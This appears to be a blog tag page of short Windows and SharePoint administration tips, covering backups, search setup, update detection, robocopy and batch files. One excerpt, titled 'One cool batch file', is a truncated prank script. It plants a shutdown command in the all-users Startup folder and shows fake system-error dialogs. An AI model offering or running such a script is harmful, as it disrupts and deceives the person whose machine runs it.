How to create a backup file with the date of today. Here is an example with STSADM from Sharepoint Services. stsadm -o backup -filename “\\gl-nas-01\backup$\Sharepoint\GL-SP-01\%date:~-10,3%%date:~-7,3%%date:~-4%.dat” -url http://intranet/sites/home
Posts Tagged ‘Windows’
Configure PDF IFilter in WSS 3.0
First, you need to download the Adobe PDF IFilter 6.0, which you can find at this URL. You should also get hold of a suitable Icon to use with PDFs, so that when they are listed in a document library they are easily recognisable. There is a 17 x 17 one available on the Adobe [...]
Configure Windows SharePoint Services Search Service Settings
By default, the search service is disabled in WSS 3.0. In order to enable it, goto your SharePoint Central Administration page and under the Operations tab, goto the “Services on the Server” list and click on WSS Search. Service Account – You cannot use any built in accounts when specifiying the Service Account, however you [...]
ASP.NET 2.0 not registered in IIS
When ASP.NET is installed on your computer but not registered in your IIS you probably installed .Net before IIS. This is easily repaired with the following command “%windir%\Microsoft.NET\Framework\version\aspnet_regiis.exe” -i
One cool batch file – ;-D
@echo off echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\” cls echo Maximize this window to continue echo Wscript.Sleep 4000 > C:\sleep1.vbs call C:\sleep1.vbs echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs call [...]
Force the update detection from Automatic Update Client
When deploying a new Windows XP installation your first task is installing the countless Windows updates. When you wait for Windows XP to check for updates you’ll need a lot of time. To accelerate this process just run the following batch file. @echo on net stop wuauserv REG DELETE “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v LastWaitTimeout /f REG [...]
Backup and Restore SharePoint Services 3.0 sites
I tried to make a copy of one of our SharePoint sites. It took some help to figure out how to this. So for the future, lets put it here. The thing you should check are the version numbers of the original and target SharePoint servers are the same. They MUST be the same. In [...]
Manually uninstall Windows Internal Database
When you deploy Windows SharePoint Services 3.0 in a single-server configuration by using the Basic installation option, the Setup program automatically installs and configures Windows Internal Database. However, an entry for Windows Internal Database is not created in the Add or Remove Programs tool. If you remove Windows SharePoint Services 3.0, the Setup program does [...]
Copy a directory but only include specific files (extension)
ROBOCOPY C:\Source D:\Destination *.zip *.txt /E /E = copy subdirectories, including empty ones /S = copy subdirectories, excluding empty ones More information about robocopy, click here
Remove empty folders and subfolders
This little batch file scans the directory that was provided as a parameter and all its sub-directories for empty folders and deletes them, including the provided folder itself, if it is empty as well (or became empty after all empty sub-folders were removed). RemoveEmptySubFolders.bat @echo off set Folder=”%~1″ if %Folder%==”” @echo Syntax RemoveEmptySubFolders Folder&goto :EOF [...]

